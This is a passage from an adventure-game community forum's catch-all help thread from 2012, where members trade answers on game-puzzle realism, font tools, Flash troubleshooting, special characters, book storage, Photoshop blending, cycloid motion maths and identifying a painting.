Even if we're talking about the lowest amperage possible, it's still not possible for a standard normal scissor to do it, imho. The time to cut the cable and the possibility of getting electroshocked is quite big. Unless they are gardening scissors.
Title: Re: Ask something - We can help.
Post by: Grim on Sun 15/01/2012 03:24:22
Ok, thanks Chrille and Duals. You have given me an idea of how to go around it... If the cable is cut while the meter is turned off there will be no explosion or shock, right? I think I'll have the player turn it off first and make it a timed thing, so if the cable's not cut on time someone turns the meter back on. This way, even with blunt scissors, she can cut through it, because she doesn't have to succeed at first cut, it would be altoghether more realistic and also add an additional layer to the puzzle;)
Title: Re: Ask something - We can help.
Post by: Tabata on Sun 15/01/2012 09:55:05
You simply need a pair of sissors in good quality to cut cables with it.
They have to be sharp, not big ;)

(http://www.gif-paradies.de/gifs/gegenstaende/scheren/schere_0014.gif) (http://www.gif-paradies.de)
I have already done this a lot of times  ;D
Title: Re: Ask something - We can help.
Post by: WHAM on Mon 16/01/2012 10:43:52
I want to create my own font for my games.

Before you suggest I piss off and download the Radiant Font Editor, I have done so. However, I want to create a font that support scandic letters and some special letters: ä, ö, å, ü etc, and the Radiant Fonr Editor does not seem to be willing to cooperate with me on this.

Any further suggestions?
Title: Re: Ask something - We can help.
Post by: on Mon 16/01/2012 10:50:21
Quote from: WHAM on Mon 16/01/2012 10:43:52
I want to create my own font for my games.

Before you suggest I piss off and download the Radiant Font Editor, I have done so. However, I want to create a font that support scandic letters and some special letters: ä, ö, å, ü etc, and the Radiant Fonr Editor does not seem to be willing to cooperate with me on this.

Any further suggestions?

I wonder wheter SCI actually supports scandic letters... Using TTF? Pressganging him into releasing the code?
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 16/01/2012 20:59:13
Quote from: WHAM on Mon 16/01/2012 10:43:52
I want to create my own font for my games.

Before you suggest I piss off and download the Radiant Font Editor, I have done so. However, I want to create a font that support scandic letters and some special letters: ä, ö, å, ü etc, and the Radiant Fonr Editor does not seem to be willing to cooperate with me on this.

Any further suggestions?

fontforge (http://fontforge.sourceforge.net/) (free/open source) or fontlab (http://www.fontlab.com/) (expensive/really good).
Title: Re: Ask something - We can help.
Post by: Nikolas on Fri 27/01/2012 07:45:09
I'm looking for a visual artist. An animator, a director... someone who would be making films anyhow, or animations, or other with effects or without...

Where would I be looking for such a person? (probably one who would be willing to go about it for very cheap, or free... *ahem*). What forums? What sites? What places? Even here perhaps?
Title: Re: Ask something - We can help.
Post by: cat on Fri 27/01/2012 09:05:02
@Nikolas You could look on the website of film schools, maybe they have some kind of forum there.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Fri 03/02/2012 22:16:00
I have some strange problems with using Flash.

I just bought a brand new computer, and it works excellently, except for this problem. Whenever I'm watching a video or use flash in any way it becomes INSANELY slow. Quite often everything just freezes and I can't do anything. Most of the time it's just the video that freezes for about a minute while audio is still playing, but this is obviously not ideal either. I've tried different browsers with the same result.

Has this happened to anyone else? Does anybody have an idea of what's going on? Or maybe something to figure it out?

Thanks in advance :)
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 03/02/2012 22:26:44
@Bulba
My laptop does this with whatever format Yahoo!'s videos are in.  It says I need a plug-in, but rather than trying to find said plug-in I just use it as a good excuse not to click on articles on Yahoo!

Probably a silly question, so don't hit me, but... have you got the latest version of Flash? *flinches*
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Fri 03/02/2012 22:34:43
I do, thanks though :)
I rarely have to deal with issues like this so I really don't know where to look, and I haven't found much by googling. But it's not something to do with running out of memory, that's the only thing I thought to check :P

EDIT: I found a temporary solution while browsing the adobe site. When answering a different question they advised to always try and disable "hardware acceleration" as a first troubleshooting step. And I think it worked, a lot of problems went away immediatly :)
Title: Re: Ask something - We can help.
Post by: Wyz on Sat 04/02/2012 00:16:24
Holy fuck, I've been having this problem for over a year now and tried all sorts of things but disabling hardware acceleration fixed it.  :o
Thanks Bulba!  :D
Title: Re: Ask something - We can help.
Post by: Mati256 on Sat 04/02/2012 00:38:48
I have a problem with Youtube. Videos don't seem to load as before.
Anyone noticed the same problem? Maybe it's just Youtube.  ???
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Sat 04/02/2012 12:48:56
@Wyz: haha, that's great :D

After investigating further I realized that all the remaining problems was due to firefox. After switching to chrome all problems seem to have vanished!

@Mati: I haven't noticed anything like that. Although something I have noticed is that for some strange reason higher resolution seems to load faster for me. No idea why :P
Title: Re: Ask something - We can help.
Post by: arj0n on Mon 13/02/2012 13:59:49
I was wondering, what's the purpose of the alt+255 code.
It's not a space, it's a real character you can't see and it's used for tricks.
But if you can't see it, why is it a character?
And what's the original purpose of this character, why creating a character you can't see?

Enlight me...
Title: Re: Ask something - We can help.
Post by: on Mon 13/02/2012 14:38:21
Quote from: »Arj0n« on Mon 13/02/2012 13:59:49
I was wondering, what's the purpose of the alt+255 code.
It's not a space, it's a real character you can't see and it's used for tricks.
But if you can't see it, why is it a character?
And what's the original purpose of this character, why creating a character you can't see?

Enlight me...

I might be wrong, but iirc the dreaded alt+255 was/is recognised as a valid character by many programs. That helped in achieving some not-so-clever hacks, say, in output format, where an entry with a bunch of spaces could be skipped while one with our invisible friend was not.
Title: Re: Ask something - We can help.
Post by: Wyz on Tue 14/02/2012 00:04:10
Alt+255 gives you a non breaking space (http://en.wikipedia.org/wiki/Non-breaking_space). These spaces where originally used to stop lines being cut at this place. Later they where used like bici pointed out; it is exactly the same character as &nbsp; in HTML so quite useful.
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Tue 14/02/2012 16:48:46
Btw, there's also a difference between Alt+### and Alt+0### (with numbers larger than 127), Alt+0255 gives me the letter "ÿ" (y with diaeresis), unlike Alt+255. Alt+169 gives me the "®" (registered name sign), Alt+0169 gives "©" (copyright sign), and so on.
The version with a zero in front seems to be ANSI (http://www.free-solutions.de/js/zeichensatz_ascii-ansi_code.html) (the non breaking space is 160 there; characters may depend on the local codepage, so could be cyrillic or whatever), while the version without a zero in front is DOS ASCII (http://www.free-solutions.de/js/zeichensatz_ascii-dos_code.html).
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 16/02/2012 09:43:49
Say... does anyone know anything about keeping books clean and tidy for a long time?

I'm opening a publishing house, and as such I have many books (around 2000 right now). I have them in my studio, in the first floor, right in front of me on wooden shelves... And most are semi-covered by some plastic cover (in bunches of 10-20).

But I'm worried that they will deteriorate if they remain there for too long... I'm also worried for any kind of insects that might attempt to eat the paper.

Does anyone know how to prevent the above from happening, or if I'm being silly? Google didn't give too much by 'book maintenance'... :(
Title: Re: Ask something - We can help.
Post by: arj0n on Thu 16/02/2012 10:45:59
In any case make sure your studio does have a (relatively) constant temperature around 18˚C and a humidity level of 50% or 55%.
You might want to check for insects like booklice (attack paper) or silverfish (attack (starch in) glue) once in a while.

Sealing all the 200 books can prevent them from being attacked by insects but that's quite a job... And it's not really necessary too.
Just checking once or twice a year will be enough I guess.
Title: Re: Ask something - We can help.
Post by: on Thu 16/02/2012 14:19:15
Quote from: Nikolas on Thu 16/02/2012 09:43:49
Say... does anyone know anything about keeping books clean and tidy for a long time?

I found this link: http://www.amazonsellercommunity.com/forums/thread.jspa;jsessionid=66BC92C12D5A13C283B29B6D55BA8C6E?messageID=2031669&#2031669

Take it with a pinch of salt; I feel it could be interesting for you because they are discussing the "how to store books" from a seller perspective (and not the usual shelves good for "consumers")
Title: Re: Ask something - We can help.
Post by: OneDollar on Wed 22/02/2012 12:52:48
I'm building an arcade cabinet with some people from work (Windows XP PC, CRT monitor, wooden cabinet shell, joysticks, buttons and a card (http://www.ultimarc.com/ipac1.html) that converts them to keyboard inputs).

What I want to do is create a program that acts as a graphical frontend to let you choose which game you want to play. This has to be controlled entirely with the keyboard (no mouse) and when a game is chosen it will need to load the correct key mapping file to the card (done through a command line program with arguments) then launch the game. Ideally it'll also have fancy graphical effects (the vision I have in my head is of the song select menu in DDR games - cycling through screenshots of games with arrow keys and loading more info about them when one is selected). Also once the launcher is built it will need to be easy to add/change games, so probably storing info about the games in XML or something and loading that when it starts.

Anyway, my actual question: what should I build this in? AGS is out because it won't launch external programs. I've looked at Flash which is a possibility, but that also has some restrictions on loading programs. I've done lots of scripting but very little real programming, so what would you recommend?
Title: Re: Ask something - We can help.
Post by: on Wed 22/02/2012 13:09:00
Well, it seems something C++/Allegro (or some other Csomething/SomeOtherLibrary) could do, or Python/Pygame (or Haskell/OpenGL!). Being a curious individual, I would see in this challenge an opportunity to learn something, so hooray!
Let us know what you will choose.
Title: Re: Ask something - We can help.
Post by: Khris on Wed 22/02/2012 13:19:37
Actually, thanks to the ags shell plugin, it's possible to run cli commands from within AGS.
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=30948.msg397988#msg397988
Title: Re: Ask something - We can help.
Post by: InCreator on Thu 23/02/2012 16:20:10
What is that square noise barcode-like thing I see appearing everywhere lately, like next to app adverts and event posters etc?

I imagine it's some sort of cypher which phone cameras or scanners could read and gather info from.

But how it's called and how it works, exactly?
Title: Re: Ask something - We can help.
Post by: Atelier on Thu 23/02/2012 16:21:50
It's a QR Code.

http://en.wikipedia.org/wiki/QR_code
Title: Re: Ask something - We can help.
Post by: Khris on Thu 23/02/2012 16:23:13
It's a QR code (http://en.wikipedia.org/wiki/Qr_code).

You can download an app for smartphones that pulls the code off of a picture you take with the camera. It usually contains URLs.
Title: Re: Ask something - We can help.
Post by: OneDollar on Thu 23/02/2012 17:32:46
Quote from: bicilotti on Wed 22/02/2012 13:09:00
Being a curious individual, I would see in this challenge an opportunity to learn something, so hooray!
Yeah, that's what I'm thinking though for everything I've looked at it seems like there's a big pile of basics I need to learn before I get anywhere near graphics programming, file IO and launching external programs. I was wondering what language people would choose to do this in, to save me learning a bunch of syntax then discovering I'm blocked from launching things outside of specific directories etc.

Quote from: Khris on Wed 22/02/2012 13:19:37
Actually, thanks to the ags shell plugin, it's possible to run cli commands from within AGS.
Ah, thanks, I didn't know about that. I'm going to try doing it in another language for learning purposes, but it's useful to know I can fall back on AGS if it doesn't work out.
Title: Re: Ask something - We can help.
Post by: on Thu 23/02/2012 17:43:33
Quote from: OneDollar on Thu 23/02/2012 17:32:46
Quote from: bicilotti on Wed 22/02/2012 13:09:00
Being a curious individual, I would see in this challenge an opportunity to learn something, so hooray!
Yeah, that's what I'm thinking though for everything I've looked at it seems like there's a big pile of basics I need to learn before I get anywhere near graphics programming, file IO and launching external programs. I was wondering what language people would choose to do this in, to save me learning a bunch of syntax then discovering I'm blocked from launching things outside of specific directories etc.

Well, you are used to AGS, so C++ syntax won't feel entirely new. Take a look at this allegro tutorial (http://www.loomsoft.net/resources/alltut/alltut_index.htm): it is pretty short and sweet and by the end of it you will know if you like allegro or not.

edit: but if you want to dive into something new, take a look at this programming languages popularity page (http://langpop.com/) and choose something exotic (I always wanted to learn Ruby).
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 23/02/2012 18:02:11
Quote from: Atelier on Thu 23/02/2012 16:21:50
It's a QR Code.

http://en.wikipedia.org/wiki/QR_code
Half the girls I've heard talk about the QR Code they all call it a "Blackberry thing" because it's the phone they use. It gets me kinda upset. lol
Title: Re: Ask something - We can help.
Post by: Oliwerko on Tue 28/02/2012 09:48:09
How do you do the contrasting text effect in photoshop? I have two-colored background - cyan and black. I want the text cyan on the black parts and black on cyan parts.

Now I know how to do this manually (i.e. rasterizing the text, selection based on background, fill with the other color). But is there a proper function for it so that when I move the text around the image it keeps adjusting itself to the underlying color?
Title: Re: Ask something - We can help.
Post by: Ali on Tue 28/02/2012 10:30:56
Make the text cyan and set the blending mode to Difference.

- Ali
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 28/02/2012 20:42:28
Rasterizing the text.  Is that where you just type "mon" at the end of each sentence, mon?
Title: Re: Ask something - We can help.
Post by: on Tue 28/02/2012 21:38:49
Quote from: Stupot+ on Tue 28/02/2012 20:42:28
Rasterizing the text.  Is that where you just type "mon" at the end of each sentence, mon?

:D This thread is always interesting, entertaining and useful. Cheers to the man who opened it, mr. Stupot!
Title: Re: Ask something - We can help.
Post by: on Tue 28/02/2012 22:17:55
Fool On The Hill is the third book now that presents me with this little puzzle- a strange speech pattern:
"I an I and my lady" / "I and I thinks there is..."

In all three cases the speaker is of normal intelligence but poorly educated; in at least one book he's hinted to be of mixed, non-white origin. Is that a common speech pattern for a certain peroid/group? I never came across it in more recent works, and the interwebs are not too much of a help. I understand that it just means "I", but am curious about the origins.
Title: Re: Ask something - We can help.
Post by: on Tue 28/02/2012 22:35:29
Quote from: Ghost on Tue 28/02/2012 22:17:55
Fool On The Hill is the third book now that presents me with this little puzzle- a strange speech pattern:
"I an I and my lady" / "I and I thinks there is..."

https://en.wikipedia.org/wiki/Rastafarian_vocabulary#I_words

^-- rastafarian vocabulary it seems. Does that match the background of those characters?
Title: Re: Ask something - We can help.
Post by: Ali on Tue 28/02/2012 22:38:02
So THAT was a case of rasterizing the text? This thread has blown my mind.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Tue 28/02/2012 23:00:50
Thanks Ali! I actually tried that before, but on black the text was kind of dark red. The reason was that it wasn't 100% black. It only works with 100% black. When you have like 28 of R, G and B; it behave differently...
Title: Re: Ask something - We can help.
Post by: on Tue 28/02/2012 23:07:22
Quote from: bicilotti on Tue 28/02/2012 22:35:29
^-- rastafarian vocabulary it seems. Does that match the background of those characters?

Perfect fit- thanks!
Title: Re: Ask something - We can help.
Post by: Ali on Tue 28/02/2012 23:21:40
Quote from: Oliwerko on Tue 28/02/2012 23:00:50
Thanks Ali! I actually tried that before, but on black the text was kind of dark red. The reason was that it wasn't 100% black. It only works with 100% black. When you have like 28 of R, G and B; it behave differently...

If you need the black to be dark grey, you could always create the effect with 0,0,0 then put an levels adjustment layer on top to lift the blacks a bit.
Title: Re: Ask something - We can help.
Post by: Eric on Thu 01/03/2012 09:21:05
Trying to recall an adventure game where one of the puzzles involved keeping a tiger away from an Indian village. Can't remember much more than that one scene. This is perhaps a game where there's a palace hidden in a tall rock formation in the middle of a nearby lake, or I may be conflating two games.

Anyone know what I'm talking about?
Title: Re: Ask something - We can help.
Post by: Gilbert on Thu 01/03/2012 10:12:52
I'm not sure, but I just googled "adventure game tiger indian village" and found this (http://www.zoolabo.com/eng/tiger/adventure-game-with-a-tiger.html) which sounded close enough.
Title: Re: Ask something - We can help.
Post by: selmiak on Sun 04/03/2012 16:15:09
@Eric: sounds like lost horizon
Title: Re: Ask something - We can help.
Post by: Eric on Mon 05/03/2012 03:19:39
Thanks, selmiak! Lost Horizon it is. I forgot that bit of the plot.

Quote from: Iceboty V7000a on Thu 01/03/2012 10:12:52
I'm not sure, but I just googled "adventure game tiger indian village" and found this (http://www.zoolabo.com/eng/tiger/adventure-game-with-a-tiger.html) which sounded close enough.

This game was ten minutes of my life that I'll be disappointed to account for come judgment day. But thanks anyway!
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Tue 06/03/2012 16:16:18
I've been trying to Google that but the terms I use are too generic and I can't find any relevant result.
On the other hand it's an issue I've been having on several computers, so I know it's real.

That issue:  >> When Firefox's cursor (in a text field) stops blinking <<

I'm talking about that cursor (kind of -- this is not a screenshot of firefox): http://www.geniusdv.com/weblog/archives/2007/03/25/inspector_window.gif

The blinking cursor is freaking invisible and you don't know where you're typing until you actually start typing.
It does it in the address bar, the search bar, and if I remember properly, also inside web page (e.g. when you type an email).

As I said, I've observed that several times, at least with Firefox 3.6, and I believe with Firefox 8. That's super annoying.
Anybody has a clue?
Title: Re: Ask something - We can help.
Post by: straydogstrut on Tue 06/03/2012 20:12:33
@Monsieur OUXX

Bizarre! I use Chrome myself but I fiddled around with Firefox 3.6 on my Mac and I didn't see this behaviour. A quick Google has suggested it could be due to:


Sorry I can't be more help.
Title: Re: Ask something - We can help.
Post by: nihilyst on Tue 06/03/2012 20:18:14
A few weeks ago I've have that same issue on every site with a flash video player on it (like youtube and stuff). The problem just disappeared after two days, so I can'T really say what caused it.
Title: Re: Ask something - We can help.
Post by: selmiak on Tue 06/03/2012 20:32:26
firefox is open source with a huge community. Just ask in their forums. If you can't get help there, I wouldn't know where else. And if it is a bug they might even fix it within the next versions ;)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 07/03/2012 11:23:18
Thanks guys.
Title: Re: Ask something - We can help.
Post by: arj0n on Sat 10/03/2012 23:16:18
Probably a stupid question but I can't find it's solution.

I imported a room from a project done in AGS v272.
I removed the audio clip "aMusic6" but somewhere is still a link and it's not in the room or global script.
When rebuilding the game this message pops up (also when compling and running the game, warnings.txt contains:)
"Room 1: Unable to find aMusic6 which was set as this room's start music".

Searching whole project doesn't bring it up.
Where can I find this aMusic6 link?
Title: Re: Ask something - We can help.
Post by: Antje on Sun 11/03/2012 11:40:23
Maybe, just maybe, it is in one of the interactions with an object/hotspot/etcetera in the room. (I had a broken/dead interaction-link two days ago and it took me some time to find it.) Good luck with that!
Title: Re: Ask something - We can help.
Post by: Khris on Sun 11/03/2012 12:09:31
Open the room in 2.72. Directly below the buttons it should say: [✓] Play music on room load [6  ]
That's the reference you're looking for.
Afaik, this shortcut has been removed as of 3.0, so you can't undo it in your current project. You have to uncheck it, save the room, then re-import it in your 3.x project.
Title: Re: Ask something - We can help.
Post by: arj0n on Mon 12/03/2012 09:02:28
@Antje: Nope, that's not the problem.
@Khris: Thanx, that's it!
Title: Re: Ask something - We can help.
Post by: Chicky on Tue 13/03/2012 21:55:17
Chicky has chicken pox D:

It's the most annoying illness of my adult life.

Fix me? You said you could help!


Edit: Worth noting that i have consulted a doctor and am not actually looking for a cure on the AGS forums, more of a plea for sympathy  :=
Title: Re: Ask something - We can help.
Post by: Anian on Wed 14/03/2012 08:19:58
Aww, Chicky, don't worry, it too shall pass. Chicken pox are annoying as hell, but you'll get over it soon and you'll almost forget about it in a few months.

Better?
Title: Re: Ask something - We can help.
Post by: on Wed 14/03/2012 08:37:48
* bici carefully inspects Chicky's post

Chicky -> chicken pox

You're lucky your forum name isn't Smally!  :=

You'll get over it Chicky!
Title: Re: Ask something - We can help.
Post by: arj0n on Wed 14/03/2012 08:55:58
In the mean time you can play real-time connect-the-dots!! ;)
Title: Re: Ask something - We can help.
Post by: on Wed 14/03/2012 09:27:53
Quote from: »Arj0n« on Wed 14/03/2012 08:55:58
In the mean time you can play real-time connect-the-dots!! ;)

Or Varicella (http://en.wikipedia.org/wiki/Varicella_(video_game))  :=
Title: Re: Ask something - We can help.
Post by: Tabata on Wed 14/03/2012 17:44:11
Quote from: Chicky on Tue 13/03/2012 21:55:17
Chicky has chicken pox D:

It's the most annoying illness of my adult life.

Fix me? You said you could help!


Edit: Worth noting that i have consulted a doctor and am not actually looking for a cure on the AGS forums, more of a plea for sympathy  :=


Maybe it would help you to get some company?

Let's try this:

                  (http://www.thefunnybone.com/vstuff/pox.gif)


Poor guy - looking like a crumble cake isn't that appealing ;)

                      (http://www.smileyvault.com/albums/userpics/12962/getwell~0.gif)
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 14/03/2012 17:50:24
Sucks to be you, man.  It's supposedly much worse if you're an adult.  Get well soon.
Title: Re: Ask something - We can help.
Post by: Chicky on Wed 14/03/2012 22:01:14
anain: Thanks for the kind words, I keep telling myself that it's just my body playing minesweeper, and the game'll be over soon.

Bici: You see what I did there?  := It actually didn't occur to me until I started typing.

Arj0n: Thanks, but that could take a while!

Tabata: I win, I have more face pox. Talking of company, it sucks pretty bad because I live alone and can hardly go out for supplies,  I've lost my appetite anyways.

Stupot: Thanks man, very kind words  :) It's been pretty hard, bit of a shock to my usual life.

Anyway, I won't steal the thread any longer. Consider my question answered :)
Title: Re: Ask something - We can help.
Post by: Nikolas on Sat 17/03/2012 20:54:03
Silly question for some but perhaps worth asking it...

my personal website is hosted on hostfolio.com for 80$ per year. I've decided that I don't really want to pay that much and one.com offers 5 GBs (and some traffic, which either way has never been an issue) for 15 euros per year (which is a hugely discounted price).

So the question: Can I 'move' my website to another hosting company (it's in flash completely). and if so any ideas on how to go about it?
Title: Re: Ask something - We can help.
Post by: selmiak on Sat 17/03/2012 21:49:45
absolutely do it. 80$/y is way too much.
if you use relative links and no absolute links on your webstuff it should be no problem at all. When you use absolute links you have to adjust them to point to the corrects pages and that your files are embedded from the correct address.
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 18/03/2012 01:02:38
Simple (?) math question:

How to implement rolling motion in a game? Can any math geniuses give me simple code?

x = ...?
y = ...?

quick sketch
(http://i.imgur.com/RRVyZ.png)

Of course, the rolling should be uniform, like tracking a point on rolling ball, and not my lousy freehand drawing.
Whoever explains this so I could use it, gets credited in new, awesome game coming out next week or so!  :)
Title: Re: Ask something - We can help.
Post by: Victor6 on Sun 18/03/2012 01:14:58
Is this something spinning through the air, or rolling like a ball?

If it's the latter. you want:-

(http://img252.imageshack.us/img252/7752/circularmovement.png)
Title: Re: Ask something - We can help.
Post by: Snarky on Sun 18/03/2012 01:15:51
http://en.wikipedia.org/wiki/Cycloid
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 18/03/2012 01:22:22
Not the latter, I need spiral like I drew, not arches. And yeah, it's something moving through the air
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Sun 18/03/2012 01:52:26
These arches (as shown in the wikipedia article, too) are only a special case of cycloids, you can get more spiral-like cycloids if you let the circle spin faster.

Basically, you just add a uniform horizontal motion to a uniform rotation.
The horizontal motion is:
x = xspeed*t
y = 0
The rotation is:
x = radius*sin(rotationspeed*t)
y = radius*cos(rotationspeed*t)
Add these, and a starting point, and you get:
x = start_x + xspeed*t + radius*sin(rotationspeed*t)
y = start_y + radius*cos(rotationspeed*t)

Then you can fiddle with the speed values to get the spiral you like (increase rotationspeed or decrease xspeed to make it more spirally)
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 18/03/2012 03:23:01
Eh, rotation. It does work but after hour of trying, I decided to scrap the idea; I have no clue how to dampen it, values must be very specific towards each other to get good result, direction and speed I use can be totally random and even when balanced out at best  it feels very unnatural and blinks like hell. It's easier to just make some rotating sprites.

Thanks anyway.

E: What did I needed it for? Well, my weekend accidentally found me remaking old DOS game Paratrooper...

I thought about different, upgradeable weapons and one gun would shoot flak, which I thought would be awesome if clusters of flak would rotate like angry bees (very wip pic yet):

(http://i.imgur.com/28WD9.png)

Title: Re: Ask something - We can help.
Post by: nihilyst on Mon 19/03/2012 14:37:47
Hey guys,

for ages, I've been trying to find out the artist and the name of the painting that (in form of a tapestry) hangs in our living room. Here it is:
(http://www.longwayhome.de/zeug/pic_wohnzimmer.jpg)

My father is sure that, when he bought it ages ago, he had been said that this is based on a painting by some painter. I myself have absolutely no idea about that kind of stuff, so I hope one of you does. It's not an important question, to be honest; I just wanted to know it.

An image search via Google didn't bring up valuable results. I guess the colour of the tapestry has worn off heavily over the years.

Thanks :D
Title: Re: Ask something - We can help.
Post by: sonneveld on Mon 19/03/2012 14:50:59
Quote from: nihilyst on Mon 19/03/2012 14:37:47
I've been trying to find out the artist and the name of the painting that (in form of a tapestry) hangs in our living room.

Used tineye, apparently it is an 18th century painting by Guardi Francesco of some Italian port.  That should give you enough to go on. :)

tineye search: http://www.tineye.com/search/a353ce3a9247a3c0eae0c28b7066129bce44236b/

results: http://www.crofteuropeantapestries.co.uk/tapestries/Mercanti-307.htm
http://www.medievalwalltapestry.com/mercanti.html
Title: Re: Ask something - We can help.
Post by: on Mon 19/03/2012 14:58:25
Mhhh, I was going to say William Hogart (or one of his numerous epigones, like Longhi).
Doesn't really seem like Guardi's (or Canaletto's / Bellotto's ).

I would be a bit wary of a site who states
QuoteBring a romantic spirit of the Middle Ages to your home with this wonderful tapestry!
referring to a XVIII century painter ;)

Nontheless, incredibly nifty little site, sonnenveld!

edit: does anyone recognize the city in the background? It could be a nice lead!
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 19/03/2012 16:26:35
A number of sites seem to agree that it's from a painting of Venice by Francesco Guardi, some identifying it as "Mercanti 1738" (if that's the year, it must be mistaken, since according to Wikipedia Guardi's first signed work was ca. 1739). This (http://www.crofteuropeantapestries.co.uk/tapestries/The-Harbour-271.htm) seems to be the full version (or at least the most complete I've found). It doesn't actually match any paintings of his I could find online (and the composition doesn't seem like his style), though most elements are found in various of his paintings.
Title: Re: Ask something - We can help.
Post by: Tabata on Mon 19/03/2012 17:28:04
Yes, the painting the tapestry wallhanging is based on should be the  Capriccio with a Seaport and Classical Ruins from Francesco Guardi (Italian, Venice 1712â€"1793 Venice) (http://www.metmuseum.org/Collections/search-the-collections/90006031?rpp=20&pg=9&ft=Northern+Italy+and+Venice&pos=177#fullscreen).
Title: Re: Ask something - We can help.
Post by: on Mon 19/03/2012 18:06:37
Quote from: Tabata on Mon 19/03/2012 17:28:04
Yes, the painting the tapestry wallhanging is based on should be the  Capriccio with a Seaport and Classical Ruins from Francesco Guardi (Italian, Venice 1712â€"1793 Venice) (http://www.metmuseum.org/Collections/search-the-collections/90006031?rpp=20&pg=9&ft=Northern+Italy+and+Venice&pos=177#fullscreen).

v 2.0 of the capriccio (http://www.nga.gov/fcgi-bin/timage_f?object=12148&image=4328&c=) here. That seems quite different from the tapestry, though.  ???

This riddle is getting me mad!
Title: Re: Ask something - We can help.
Post by: Anian on Mon 19/03/2012 19:34:17
18th century paintings in general would make for good game backgrounds...the mix of different architectural styles makes it weird though and hard to place inside a story...stupid romantics.  :P
Title: Re: Ask something - We can help.
Post by: Anian on Thu 22/03/2012 20:34:40
How does one spell check your post on these forums? I see people using it (says at the bottom of the message that the post was spell checked), but, as far as I can tell, that function isn't turned on on this forum...I am so confused.  ???  <-- see
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 22/03/2012 21:19:48
Quote from: anian on Thu 22/03/2012 20:34:40
How does one spell check your post on these forums? I see people using it (says at the bottom of the message that the post was spell checked), but, as far as I can tell, that function isn't turned on on this forum...I am so confused.  ???  <-- see

Mayb it jst mnz it woz checked 4 txt style spellin

[edit]
Or maybe not...
Title: Re: Ask something - We can help.
Post by: Khris on Fri 23/03/2012 00:49:01
All modern browsers check the spelling inside text areas while you type.
In addition, the forum software auto-corrects some common abbreviations like "u" instead of you, or "r" instead of are.

u r
Title: Re: Ask something - We can help.
Post by: suicidal pencil on Fri 23/03/2012 05:16:27
Spelling isn't my issue so much as proper grammar  :=

I know it's stupid to expect people who live in countries that don't have English as a primary language to understand the different grammar and semantic conventions of the language, but it really does make it harder to understand one's meaning...

The browser can check your spelling, but it doesn't know what you mean. So a post could have perfect spelling, but no one would understand wtf is going on  ;D
Title: Re: Ask something - We can help.
Post by: Anian on Fri 23/03/2012 08:35:00
Quote from: Khris on Fri 23/03/2012 00:49:01
In addition, the forum software auto-corrects some common abbreviations like "u" instead of you, or "r" instead of are.
<br /youare
But that is kind of what bugs me, where is this option?
Title: Re: Ask something - We can help.
Post by: on Fri 23/03/2012 09:18:13
Quote from: anian on Fri 23/03/2012 08:35:00
But that is kind of what bugs me, where is this option?

I think it is mandatory!
Title: Re: Ask something - We can help.
Post by: Snarky on Fri 23/03/2012 09:19:34
There's no option. If you write the letter that comes between q and s by itself, it automatically gets "corrected" to "are": are. Same with the letter between t and v: you. Try it!

It's kind of annoying, actually. Particularly since it happens even inside code blocks.
Title: Re: Ask something - We can help.
Post by: on Fri 23/03/2012 09:30:30
Quote from: Snarky on Fri 23/03/2012 09:19:34
If you write the letter that comes between q and s by itself, it automatically gets "corrected" to "are": are.

There is no letter between 'q' and 's' (but there is one between 'e' and 't')!
</nerdMomentOfTheDay>
Title: Re: Ask something - We can help.
Post by: Khris on Fri 23/03/2012 12:35:40
Snarky, that doesn't sound like qwerty, what weird keyboard layout ryou using?

Edit: Are you still living in the 20th century or what? The alphabet, pfttt ... :=
Title: Re: Ask something - We can help.
Post by: Snarky on Fri 23/03/2012 12:58:44
Guess some people were absent on the day in kindergarten when they taught the alphabet.  ;)
Title: Re: Ask something - We can help.
Post by: LUniqueDan on Sat 24/03/2012 07:00:22
What's the name of the pre-9/11 action film featuring a plane about to hit a skyscrapper on the box cover ? I can't remember it.
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Sat 24/03/2012 11:34:49
I only now of an interesting Austrian art project called "Just like the movies", where scenes from pre-9/11 movies were cut together to a Hollywood premake of 9/11: http://www.sueddeutsche.de/kultur/bildstrecke-michal-kosakowski-just-like-the-movies-1.107928
It used scenes from "Independence Day", "Armageddon", "Swordfish", "Q - The Winged Serpent", "The Siege", "Earthquake in New York" and others (not necessarily all featuring a plane flying into a skyscraper), maybe it's one of them?
Title: Re: Ask something - We can help.
Post by: LUniqueDan on Sat 24/03/2012 12:58:07
 :D
Tx for the link ! But, no, I don'y think the move is into them. Anyway, I never saw it.

So, guys ! Come on! I need that.
Title: Re: Ask something - We can help.
Post by: on Sun 01/04/2012 20:06:54
hey does anybody know a good software to capture screenshots? i have fraps but it doesn't work
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on Sun 01/04/2012 20:20:20
There's a software called "Print Screen" by TheKeyboardCompany. It's free and works really well. Google it!
Title: Re: Ask something - We can help.
Post by: Frodo on Sun 01/04/2012 21:13:10
I use IrfanView to get screenshots.  It's a really good programme   :)

http://www.irfanview.com/
Title: Re: Ask something - We can help.
Post by: on Mon 02/04/2012 11:35:41
What is the purpose of life?
Title: Re: Ask something - We can help.
Post by: Babar on Mon 02/04/2012 12:51:59
Something about the lamentations of women, I think.
Title: Re: Ask something - We can help.
Post by: Anian on Mon 02/04/2012 13:16:20
Quote from: Babar on Mon 02/04/2012 12:51:59
Something about the lamentations of women, I think.
And don't forget the box of chocolates.
Title: Re: Ask something - We can help.
Post by: Paul Franzen on Mon 02/04/2012 18:37:39
42.
Title: Re: Ask something - We can help.
Post by: arj0n on Tue 03/04/2012 11:41:45
